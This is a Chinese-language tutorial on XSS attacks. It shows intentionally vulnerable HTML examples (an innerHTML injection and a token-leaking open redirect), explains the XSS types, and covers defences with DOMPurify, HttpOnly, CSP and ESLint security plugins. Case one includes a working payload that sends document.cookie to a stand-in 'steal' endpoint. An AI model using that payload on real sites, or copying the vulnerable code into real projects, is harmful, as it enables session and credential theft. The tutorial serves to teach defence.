编程

XSS攻击

XSS(跨站脚本攻击)是一种常见的Web安全漏洞

1、什么是XSS

XSS(跨站脚本攻击)是一种常见的Web安全漏洞,攻击者想办法将恶意脚本注入到网页中,用户在访问被攻击的网页时,就可能触发恶意脚本,最终导致网站下的Cookie、用户页面内容、表单数据等被窃取

XSS攻击能成功的决定性因素在于:被攻击的网站中,会不会将未经过检测的内容,直接在页面中渲染。

案例一

比如下面的代码就存在着 XSS 安全漏洞,页面中直接获取了链接参数并通过 innerHTML 插入

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
  </head>
  <body>
    <h1>Hello <span id="name"></span></h1>

    <script>
      const params = new URLSearchParams(window.location.search);
      const user = params.get("name");
      if (user) {
        document.getElementById("name").innerHTML = user;
      }
    </script>
  </body>
</html>

假设你的站点地址为:http://127.0.0.1:5500/test.html

当攻击者组装了这样一个链接:

http://127.0.0.1:5500/test.html?name=%3Cimg%20src=x%20onerror=alert(%27hello!%27)%3E

连接参数name的值(img标签)被直接插入页面中,由于img标签src为空,onerror事件中的 alert 就会被执行

基于真实的攻击行为,组装的链接可能是:

http://127.0.0.1:5500/test.html?name=%3Cimg%20src%3Dx%20onerror%3D%22new%20Image%28%29.src%3D%27http%3A%2F%2F127.0.0.1%3A8000%2Fsteal%3Fc%3D%27%2BencodeURIComponent%28document.cookie%29%22%3E

其中 name 后面的未编码内容为:

<img src=x onerror="new Image().src='http://127.0.0.1:8000/steal?c='+encodeURIComponent(document.cookie)">

只要网站渲染了这段代码,img 被渲染就会触发 onerror 事件,并访问攻击者准备好的攻击链接(8080 端口),在没有防护的状态下,用户的 Cookie 就会被泄露,里面可能存在用户 Token 等重要数据

案例二

下面的代码中,返回按钮点击时,跳转到链接参数 redirect 对应的网址,并传递了token(也有可能时其他重要信息)

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
  </head>
  <body>
    <div>
      <h1>登錄成功</h1>
      <button onclick="back">返回</button>
    </div>

    <script>
      function back() {
        const params = new URLSearchParams(window.location.search);
        const redirect = params.get("redirect");
        if (redirect) {
          window.location.href = `${redirect}?token=123`;
        } else {
          window.location.href = '/';
        }
      }
    </script>
  </body>
</html>

比如登录之后需要跳转绑定页面,路径可能为:

http://127.0.0.1:5500/test.html?redirect=/user/bind

这是比较常见的案例,却存在巨大的安全漏洞,只要攻击者将自己的域名拼接到redirect中,给用户访问,登录成功后,重定向携带的参数就会被传递到攻击者的站点:

http://127.0.0.1:5500/test.html?redirect=http://127.0.0.1:8080/

2、XSS攻击类型

XSS攻击类型可以简单以下三种类型:

  • 存储型XSS

恶意代码被存储到后端数据库中,当网页渲染了数据库中的恶意代码,所有访问该网页的用户都会受到攻击。

恶意代码一般通过用户评论、用户内容发布、用户表单收集、用户私信等渠道,在后端入库未做校验时植入数据库,同时在渲染网页时也未对动态数据做处理,最终导致漏洞的产生

  • 反射型XSS / DOM型XSS

反射型和DOM型的原理是一样的:站点从URL中获取参数,未经过校验和处理,直接渲染到页面中,导致恶意代码被执行

两者的区别在于渲染恶意代码发生在哪一阶段:反射型XSS是指混编的页面中,由后端程序获取链接内容进行渲染:

<input type="text" value="<%= getParameter("keyword") %>">
<button>搜索</button>
<div>
您搜索的关键词是:<%= getParameter("keyword") %>
</div>

DOM型XSS则是由前端JavaScript代码获取链接内容,并插入到DOM中:

<body>
  <h1>Hello <span id="name"></span></h1>

  <script>
    const params = new URLSearchParams(window.location.search);
    const user = params.get("name");
    if (user) {
      document.getElementById("name").innerHTML = user;
    }
  </script>
</body>

3、防护措施

XSS 攻击能成功的关键在于:站点直接渲染了不能完全信任的内容。针对这一核心因素,我们可以在多个维度对不信任的内容进行拦截

入库处理

针对用户提交的内容,一律视为不安全的,在后端入库前应该做好恶意代码检测,并剔除恶意代码后再入库,最简单的是将内容进行HTML字符转义,这样可以让用户提交的HTML代码直接转为字符,比如:<script> 转义后为 &lt;script&gt; ,直接破坏了恶意代码

但直接通过字符转义有它的局限性,它有可能对用户的正常输入造成困扰,比如用户发布评论:爱情>物质,本意是表达爱情比物质更重要,但经过字符转义后,变为了爱情&gt;物质,这就影响了用户的正常表达,而且字符转义不能用在用户发布的富文本内容。

更优解是通过目前已有的开源库,去检查可能存在XSS攻击的内容,比如前端生态中有 dompurify 库可以用于净化 HTML、规避 XSS 攻击,dompurify可以结合其他库在 Node 服务端中应用,类似的在 php 中有 htmlpurifier,在 Java 中有 OWASP Java HTML Sanitizer,在 GO 中用 bluemonday,所有主流的服务端编程语言,都有对应的库进行处理

前端渲染

XSS 攻击的核心还是在有没有渲染恶意代码,所以在网站页面渲染前,对不信任的内容必须进行净化处理,无论是后端混编渲染的页面,还是前端通过 JS 插入到 HTML 的内容,都要进行处理

在前端项目中,可以使用 dompurify 净化 HTML 内容,防止 XSS 攻击,dompurify 的用法很简单,通过 npm 安装或直接通过 script 引入dompurify库:

pnpm add dompurify
<script type="text/javascript" src="dist/purify.min.js"></script>

在渲染代码前,进行内容净化:

import DOMPurify from 'dompurify'; // 如果是通过 npm 安装

const clean = DOMPurify.sanitize('<b>hello there</b>'); // clean 用于渲染

但需要注意的是,dompurify并不天然支持服务端渲染,如果要在Node 服务或SSR项目中使用,还要结合 jsdom 等库来兼容:

const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');

const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
const clean = DOMPurify.sanitize('<b>hello there</b>');

或者用别人已经做好兼容处理的库:isomorphic-dompurify

其他措施

  • HTTP-only Cookie XSS 攻击通常会尝试获取你本地浏览器中的 Cookie,很多站点的登录凭证都存放在 Cookie 中,因此XSS 攻击获取到用户 Cookie 会就可以模拟用户的登录,进行一些危险操作

在此背景下,给重要的 Cookie 设置 HttpOnly 属性,可以阻止 javascript 代码获取、操作该 Cookie,以此避免泄露

除了 HttpOnly,还有其他 Cookie 防护的方法吗,可以参考:Security 安全性

CSP 技术是指通过控制文档可以加载哪些资源文件,从而降低网站被攻击风险,通常只允许插入与站点同源的文件,避免恶意插入的 Script 文件被加载和执行

4、漏洞检测

AI Skill检测

在Cursor、CodeX等AI工具中,可以通过安装专业的 skill 来检测代码安全漏洞,目前用的比较多的 skill 是来自 agentic-awesome-skills 仓库中的 frontend-security-coder。

agentic-awesome-skills 可通过扫描分析你的项目,并从仓库中的数千个技能中,为你挑选推荐最适合你的项目安装的skill,其中仓库中的技能大多来自官方(如 Anthropic、OpenAI、Microsoft、Google Gemini)技能,技能规模庞大且质量可控,将开发者被动的搜寻技能进行安装使用这一糟心流程(搜索、考虑匹配程度、检验可信度等),交给 AI Agent执行

安装Skill:

npx skills add https://github.com/sickn33/antigravity-awesome-skills --skill frontend-security-coder

使用和效果:

ESLint 校验

ESLint可以校验代码的格式和代码质量,但是对于XSS等安全漏洞默认并不会校验,比如:

const query = req.query.script;

eval(query);

这段代码使用 eval 执行直接参数中的内容,是非常明显的XSS攻击,但在ESLint中并不会产生任何的警告,因为ESLint默认只检查代码的有效语法和格式。

我们可以通过ESLint的额外插件和配置,开启代码中安全漏洞的检测:

插件 用途
+ eslint-plugin-security Node/通用漏洞,比如eval、正则、require引入、弱随机等问题
+ eslint-plugin-no-unsanitized DOM XSS攻击检测,比如innerHTML、outerHTML、insertAdjacentHTML、document.write
+ vue/no-v-html vue中的v-html渲染检测

安装

pnpm add eslint-plugin-security eslint-plugin-no-unsanitized eslint-plugin-vue vue-eslint-parser -D

配置

(AI生成),在 eslint.config.ts 引入 eslint.security.config.ts 配置:

import type { Linter } from 'eslint'
import pluginNoUnsanitized from 'eslint-plugin-no-unsanitized'
import pluginSecurity from 'eslint-plugin-security'
import pluginVue from 'eslint-plugin-vue'
import tseslint from 'typescript-eslint'
import vueParser from 'vue-eslint-parser'

const SOURCE_FILES = ['**/*.{js,cjs,mjs,jsx,ts,cts,mts,tsx,vue}']

/** 認可的 HTML 轉義 / 淨化函數;預設只認 Mozilla Sanitizer.escapeHTML */
const unsanitizedEscape = {
  escape: {
    taggedTemplates: ['Sanitizer.escapeHTML', 'escapeHTML'],
    methods: [
      'Sanitizer.unwrapSafeHTML',
      'unwrapSafeHTML',
      'DOMPurify.sanitize',
    ],
  },
} as const

/**
 * 安全相關規則(不含風格規則)。
 * eslint.config.ts 複用此陣列,避免兩處規則配置產生分歧。
 *
 * - eslint-plugin-security:eval / 動態正則 / fs / require 等
 * - eslint-plugin-no-unsanitized:innerHTML、document.write 等 DOM XSS sink
 * - vue/no-v-html:模板中的 v-html
 */
export const security: Linter.Config[] = [
  {
    ...pluginSecurity.configs.recommended,
    name: 'security/recommended',
    files: SOURCE_FILES,
  },
  {
    ...pluginNoUnsanitized.configs.recommended,
    name: 'security/no-unsanitized',
    files: SOURCE_FILES,
  },
  {
    name: 'security/overrides',
    files: SOURCE_FILES,
    rules: {
      // Vue/TS 中大量合法的動態屬性訪問(obj[key]),誤報極高,不適合作為常規門檻
      'security/detect-object-injection': 'off',
      // 與 security/* 一致用 warn,避免現有 innerHTML 直接讓日常 eslint / 提交失敗
      'no-unsanitized/property': ['warn', unsanitizedEscape],
      'no-unsanitized/method': ['warn', unsanitizedEscape],
    },
  },
  {
    // 必須只作用於 .vue:vue 插件僅在 .vue 的配置塊註冊,
    // 若擴到 .ts 會報 "could not find plugin vue"
    name: 'security/vue',
    files: ['**/*.vue'],
    rules: {
      'vue/no-v-html': 'warn',
    },
  },
]

/**
 * 獨立配置:`pnpm lint:security` 使用,輸出只有 security/* 告警。
 * 因為不經過 eslint.config.ts,需自行提供 TS / Vue 的解析器。
 *
 * 該腳本以 --no-inline-config 運行:源碼中的 eslint-disable 註釋大多指向
 * 本配置未載入的規則(vue/*、regexp/* 等),否則會報 "Definition for rule
 * was not found"。要抑制 security 誤報,請在下方按目錄配置,而非用註釋。
 */
export default [
  {
    name: 'security/ignores',
    ignores: [
      '**/.nuxt/**',
      '**/.output/**',
      '**/.nitro/**',
      '**/dist/**',
      '**/assets/iconfont/**',
      '.cursor/**',
      '.agents/**',
    ],
  },
  {
    name: 'security/ts-parser',
    files: ['**/*.{ts,cts,mts,tsx}'],
    languageOptions: {
      parser: tseslint.parser,
    },
  },
  {
    name: 'security/vue-parser',
    files: ['**/*.vue'],
    plugins: {
      vue: pluginVue,
    },
    processor: pluginVue.processors.vue,
    languageOptions: {
      parser: vueParser,
      parserOptions: {
        parser: tseslint.parser,
        extraFileExtensions: ['.vue'],
      },
    },
  },
  ...security,
] satisfies Linter.Config[]

使用

配置 lint:security 指令,只输出当前问题,不进行自动 fix,运行这个指令即可在控制台中看到所有的问题。

{
  //...
  "scripts": {
    //...
     "lint:security": "eslint --config eslint.security.config.ts --no-config-lookup --no-inline-config --no-fix --cache --cache-location node_modules/.cache/eslint-security .",   
  }
}

拆解指令的每一个参数,其含义为:

指令内容 作用
eslint 启动eslint检测
--config eslint.security.config.ts 指定 ESLint 检测的配置文件,eslint.security.config.ts 如上,只注册了 上面三个插件
--no-config-lookup 禁止向上查找其他ESLint配置,避免触发代码风格的规则校验,保证只输出安全漏洞的校验
--no-inline-config
--no-fix 只报告,不改动任何文件,安全规则大部分无法自动修复,对应 --fix 指令可能改动到业务逻辑
--cache 校验结果写入缓存,下次校验时跳过未改动到文件
--cache-location node_modules/.cache/eslint-security 设置缓存的目录,和常规eslint缓存分开,主脚本的缓存在 node_modules/.cache/eslint 中,避免和常规校验缓存冲突
. 扫描当前目录下配置允许的文件(ignores设置忽略校验的目录)